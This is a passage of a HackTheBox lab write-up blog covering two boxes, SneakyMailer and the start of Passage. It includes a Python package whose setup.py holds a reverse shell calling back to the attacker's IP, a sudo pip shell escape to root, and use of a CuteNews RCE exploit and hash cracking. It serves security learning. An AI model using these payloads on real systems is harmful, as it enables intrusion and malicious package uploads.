either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0651.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found pypi&amp;rsquo;s site on port 8080 and could access it after adding a hosts entry.&lt;/p&gt;&#10;&lt;p&gt;It reported pypiserver version 1.3.2, and the simple endpoint accepted logins, although there was nothing inside.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0652.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, pypi was for uploading and maintaining python packages. But why were none of the described options available when I used it? If this was not a framework vulnerability, perhaps I could upload a malicious package. I could not set environment variables in my current context, but when another user imported the package it would cause RCE.&lt;/p&gt;&#10;&lt;p&gt;I had no other ideas and could only assume this needed to be combined with another vulnerability.&lt;/p&gt;&#10;&lt;p&gt;While searching, I noticed that the low user&amp;rsquo;s home contained a venv virtual environment and that we could install packages with pip. That suggested an idea: use pspy32 to see whether there was a scheduled python task. If so, installing a malicious package would escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;I eventually built a package and uploaded it successfully. I consulted many posts, but the two key ones were:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/zjshui/article/details/107973601" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/zjshui/article/details/107973601&lt;/a&gt;&#9;&#9;How to upload to a private repository&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://monsoir.github.io/Notes/Python/upload-pypi.html" target="_blank" rel="noopener"&#10; &gt;https://monsoir.github.io/Notes/Python/upload-pypi.html&lt;/a&gt;&#9;How to build a python package&lt;/p&gt;&#10;&lt;p&gt;Here are my files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The directory structure was the one shown above, copied from a github project. You can choose any name for your own project.&lt;/p&gt;&#10;&lt;p&gt;I named mine Reverse-Shell-1.1.1.&lt;/p&gt;&#10;&lt;p&gt;So I created a Reverse-Shell-1.1.1 directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0653.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was naturally empty after creation. I entered it and, as required, created the two empty files README.md and LICENSE.txt inside Reverse-Shell-1.1.1.&lt;/p&gt;&#10;&lt;p&gt;Next I created the jsonizer directory, entered it, and made &lt;strong&gt;init&lt;/strong&gt;.py and jsonize.py. &lt;strong&gt;init&lt;/strong&gt;.py could be empty, and so could jsonize.py, although I added an arbitrary print statement.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was the current structure. Only setup.py remained.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from setuptools import setup, find_packages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setup(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; name=&amp;#39;Reverse-Shell&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; version=&amp;#39;1.1.1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keywords=[&amp;#39;Safari&amp;#39;, &amp;#39;Bookmarks&amp;#39;, &amp;#39;JSON&amp;#39;, &amp;#39;Monsoir&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; description=&amp;#39;transform Safari bookmarks export to JSON file&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; license=&amp;#39;MIT License&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url=&amp;#39;https://github.com/Monsoir/safari-bookmarks-jsonizer&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author=&amp;#39;Monsoir&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author_email=&amp;#39;monwingyeung@gmail.com&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; packages=find_packages(),&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; include_package_data=False,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; platforms=[&amp;#34;any&amp;#34;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; install_requires=[&amp;#39;beautifulsoup4&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; python_requires=&amp;#39;&amp;gt;3.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; entry_points={&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;console_scripts&amp;#39;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;jsonize = jsonizer.jsonize:main&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That completed it. The jsonizer directory did not actually seem necessary. Even if it was, at most it needed an empty py file for the constructor. The package above was recognized, so I left it alone and ran:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python setup.py sdist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This created a new dist directory in the current directory, containing the packaged tar.gz file. The following command uploaded it.&lt;/p&gt;&#10;&lt;p&gt;The final argument meant to upload the files under dist.&lt;/p&gt;&#10;&lt;p&gt;python -m twine upload &amp;ndash;repository-url &lt;a class="link" href="http://pypi.sneakycorp.htb:8080/" target="_blank" rel="noopener"&#10; &gt;http://pypi.sneakycorp.htb:8080/&lt;/a&gt; dist/*&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0654.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0655.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the package disappeared soon after being uploaded.&lt;/p&gt;&#10;&lt;p&gt;Remember the pspy32 I uploaded earlier? It was still running on another port.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0656.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That revealed the key detail. The low user extracted the tar archive, ran setup.py with python to install it, and then uninstalled it. The purpose was to test the package. No wonder this user&amp;rsquo;s home contained many packages and a venv virtual environment.&lt;/p&gt;&#10;&lt;p&gt;As I understood it, changing setup.py to contain reverse-shell code would return a shell.&lt;/p&gt;&#10;&lt;p&gt;The path was now completely clear. I extracted the tar archive from dist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0657.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I modified setup.py and added python reverse-shell code at the beginning.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.19&amp;#34;, 6789))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I repackaged and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0658.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell and continued with privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0659.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l showed a command. I could simply search for it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sudo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TF=$(mktemp -d)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;import os; os.execl(&amp;#39;/bin/sh&amp;#39;, &amp;#39;sh&amp;#39;, &amp;#39;-c&amp;#39;, &amp;#39;sh &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;)&amp;#34; &amp;gt; $TF/setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo pip install $TF&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Following the method above escalated directly to root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0660.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done!&lt;/p&gt;&#10;&lt;p&gt;I can only say that this was the hardest box I had completed so far, without exception. It felt like sitting an exam. Including breaks, I spent around 20 hours on it and ended up light-headed. I checked a write-up twice. The first time was because I did not realize I could phish information simply by sending links to other email addresses. That possibility never occurred to me, although the box actually provided many hints. The second time was for the dev subdomain, which genuinely was my mistake. From now on, I will brute-force subdomains before starting each box.&lt;/p&gt;&#10;&lt;p&gt;I learned a great deal and spent the entire time searching google. Asking chatgpt would often have produced better ideas, but oscp does not allow it, so I searched through a huge number of posts.&lt;/p&gt;&#10;&lt;p&gt;This box had an imap service, which I had never used. I installed many programs, none of which worked, and remained stuck until I finally found usable software. Then there was pypi, also my first encounter with it, so naturally it took a long time to learn. Most of my time went into learning pypi. I gained a lot from this box and can already feel the difficulty increasing.&lt;/p&gt;&#10;&lt;p&gt;The 2022 hackthebox linux list has 50 boxes intended for oscp practice. I have now completed 27. After finishing these, I will move on to windows boxes. Once the 2022 list is complete, I will do the newest boxes, followed by oscplabs.&lt;/p&gt;&#10;&lt;h2 id="28passage"&gt;&lt;a href="#28passage" class="header-anchor"&gt;&lt;/a&gt;28.Passage&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0661.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0662.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed nothing, while any brute force against port 80 immediately resulted in a ban.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This article explained it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0663.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Excessive access would be blocked for two minutes.&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing and similar techniques were unusable. I had two ideas.&lt;/p&gt;&#10;&lt;p&gt;The first was to brute-force the site slowly, using a wordlist generated by cewl.&lt;/p&gt;&#10;&lt;p&gt;The second was to test &lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt; for sql injection.&lt;/p&gt;&#10;&lt;p&gt;cewl &lt;a class="link" href="http://10.10.10.206/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php&lt;/a&gt; -w dict.txt&lt;/p&gt;&#10;&lt;p&gt;ffuf -w ./dict.txt -u &lt;a class="link" href="http://10.10.10.206/FUZZ" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/FUZZ&lt;/a&gt; -t 1&lt;/p&gt;&#10;&lt;p&gt;I set the thread count to 1 to avoid being banned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0664.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Before discovering the ban behavior, directory brute force had found new.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0665.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After running cewl against the home page, I identified CuteNews. There were also 11 posts, so each one needed to be crawled to build a directory-brute-force list.&lt;/p&gt;&#10;&lt;p&gt;The domain:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0666.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0667.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I opened another page here to brute-force subdomains.&lt;/p&gt;&#10;&lt;p&gt;The page above also revealed the version: CuteNews 2.1.2.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0668.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the final exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0669.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I briefly reviewed how it worked.&lt;/p&gt;&#10;&lt;p&gt;It registered an account and then sent the payload. All I had to do was run it and enter the url. It was extremely simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0670.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I never imagined it would be that easy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0671.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0672.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A shell came back.&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0673.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These configuration files contained nothing. I searched google for the database configuration location.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql" target="_blank" rel="noopener"&#10; &gt;https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0674.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did find these two files, but they contained nothing.&lt;/p&gt;&#10;&lt;p&gt;linenum found many things.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0675.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0676.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was clearly started by root.&lt;/p&gt;&#10;&lt;p&gt;Regardless, I first tried cracking these.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.&#9;&#9;&#9;#foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/&#9;&#9;&#9;#password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only two cracked.&lt;/p&gt;&#10;&lt;p&gt;According to the explanation, the other hashes were not meant to be cracked. They were combined with site-specific elements to generate new hashes that served as credentials.&lt;/p&gt;&#10;&lt;p&gt;I abandoned this for the moment and returned my attention to the website, because my searches kept saying:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0677.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It used flat files for storage. Every post I found said the same thing: there was no database, and all data was stored in txt and similar files. Yet the exp clearly created a user, and that user did not appear in either of the two files just mentioned. That made no sense.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0678.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Searching for txt files revealed two users.txt files.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, neither contained anything useful. Digging further through the directories eventually revealed an important detail.&lt;/p&gt;&#10;&lt;p&gt;/var/www/html/CuteNews/cdata/users/lines&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0679.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wrote a script and obtained the results.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" 